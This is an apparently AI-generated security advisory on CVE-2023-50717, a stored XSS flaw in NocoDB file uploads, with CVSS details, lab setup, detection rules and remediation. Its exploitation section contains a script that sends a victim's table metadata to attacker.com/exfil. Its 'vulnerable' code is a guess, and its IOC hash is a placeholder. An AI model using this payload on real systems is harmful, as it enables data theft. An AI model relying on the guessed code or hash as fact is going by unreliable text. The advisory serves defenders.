CVE-2023-50717

Executive Summary

CVE-2023-50717 is a stored cross-site scripting (XSS) vulnerability affecting NocoDB, an open-source database-as-a-spreadsheet platform. Versions 0.202.6 through 0.202.9 allow an unauthenticated attacker to upload a malicious HTML file containing JavaScript. When a victim user opens this file in their browser, the script executes in the context of the NocoDB application, enabling session hijacking, data theft, or phishing attacks. The vulnerability is rated with a CVSS score of 5.7 (Medium) and has a low EPSS probability (0.0%). The fix was released in version 0.202.10.

Supply Chain & Package Security

NocoDB is distributed as an npm package (nocodb). Users should verify the integrity of the package after upgrading by checking the SHA checksum provided on the official GitHub releases page. The vulnerability does not stem from a compromised dependency but from insufficient file upload validation within the application itself.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must open the malicious file.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for credential theft and session hijacking makes it a significant concern for multi-tenant deployments.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of NocoDB. The application allows users to upload files (e.g., images, documents) to attach to records. However, it does not validate the file content or enforce a strict Content-Type header when serving the file back to users.

An attacker can craft an HTML file containing embedded JavaScript (e.g., using <script> tags or event handlers). When this file is uploaded and later accessed by a victim, the server serves it with a generic Content-Type (e.g., text/html or application/octet-stream), causing the browser to render it as HTML and execute the embedded script.

The attack flow:

1. Attacker uploads a file named malicious.html containing <script>alert(document.cookie)</script>.
2. The file is stored on the server.
3. Attacker sends a link to the victim (e.g., via social engineering) pointing to the uploaded file.
4. Victim clicks the link and the browser renders the HTML, executing the script.
5. The script can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable (pre-0.202.10): The file upload endpoint likely stores the file with its original extension and serves it without sanitizing the Content-Type header. For example, in a Node.js/Express route:

app.get('/uploads/:filename', (req, res) => {
  const filePath = path.join(__dirname, 'uploads', req.params.filename);
  res.sendFile(filePath); // No Content-Type validation
});

Patched (0.202.10): The fix adds validation to ensure that uploaded files are not HTML or contain executable scripts. The server also sets a strict Content-Type header (e.g., application/octet-stream) for unknown file types, forcing the browser to download the file instead of rendering it.

app.get('/uploads/:filename', (req, res) => {
  const filePath = path.join(__dirname, 'uploads', req.params.filename);
  const ext = path.extname(filePath).toLowerCase();
  if (ext === '.html' || ext === '.htm') {
    return res.status(403).send('Forbidden');
  }
  res.setHeader('Content-Type', 'application/octet-stream');
  res.sendFile(filePath);
});

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable NocoDB instance (version 0.202.9) using Docker:

   docker run -d -p 8080:8080 --name nocodb-vuln nocodb/nocodb:0.202.9
   

2. Access the web interface at http://localhost:8080.

Exploitation Steps:

1. Create a malicious HTML file (payload.html):

   <html>
   <body>
   <script>
   fetch('/api/v1/db/meta/projects/1/tables', {credentials: 'include'})
     .then(r => r.json())
     .then(data => {
       fetch('https://attacker.com/exfil', {
         method: 'POST',
         body: JSON.stringify(data)
       });
     });
   </script>
   </body>
   </html>
   

2. Upload the file to a NocoDB table (e.g., as an attachment to a record).
3. Obtain the direct URL to the uploaded file (e.g., http://localhost:8080/uploads/payload.html).
4. Send the link to the victim via email or chat.
5. When the victim opens the link, the script executes and exfiltrates table metadata.

Blue Team (Defensive)

Detection:

• Monitor for file uploads with .html or .htm extensions.
• Alert on access to uploaded files with suspicious Content-Type headers.
• Use WAF rules to block HTML content in file uploads.

Hunting:

• Search logs for requests to /uploads/ followed by a file with an HTML extension.
• Look for outbound connections from the NocoDB server to unknown IPs (potential data exfiltration).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if known)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious HTML payload)
• Network Indicators:
  • Outbound HTTP POST to attacker.com/exfil (customize per attack)
• Log Entries:
  • GET /uploads/payload.html with User-Agent not matching a browser (e.g., curl)
  • POST /api/v1/db/meta/projects/1/tables from an unexpected IP

Detection Engineering

YARA Rule

rule CVE_2023_50717_Stored_XSS {
  meta:
    description = "Detects malicious HTML files uploaded to NocoDB"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2023-50717"
  strings:
    $html_tag = "<html" nocase
    $script_tag = "<script" nocase
    $onerror = "onerror=" nocase
    $onload = "onload=" nocase
  condition:
    $html_tag and ($script_tag or $onerror or $onload)
}

Sigma Rule

title: NocoDB Stored XSS File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of HTML files to NocoDB
logsource:
  category: webserver
  product: nginx
detection:
  selection:
    http.method: 'POST'
    http.url: '/api/v1/db/meta/projects/*/tables/*/attachments'
    http.content_type: 'multipart/form-data'
  condition: selection
falsepositives:
  - Legitimate HTML file uploads (if allowed by policy)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-50717 NocoDB Stored XSS - HTML Upload"; flow:to_server; content:"POST"; http_method; content:"/api/v1/db/meta/projects/"; http_uri; content:".html"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade NocoDB to version 0.202.10 or later.
• If upgrade is not possible, restrict file uploads to only allow image types (e.g., PNG, JPG) using a reverse proxy or WAF.

Long-term:

• Implement strict Content-Type validation on file uploads.
• Serve uploaded files with Content-Disposition: attachment to force download.
• Use a Content Security Policy (CSP) header to block inline scripts.
• Conduct regular security audits of file handling logic.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.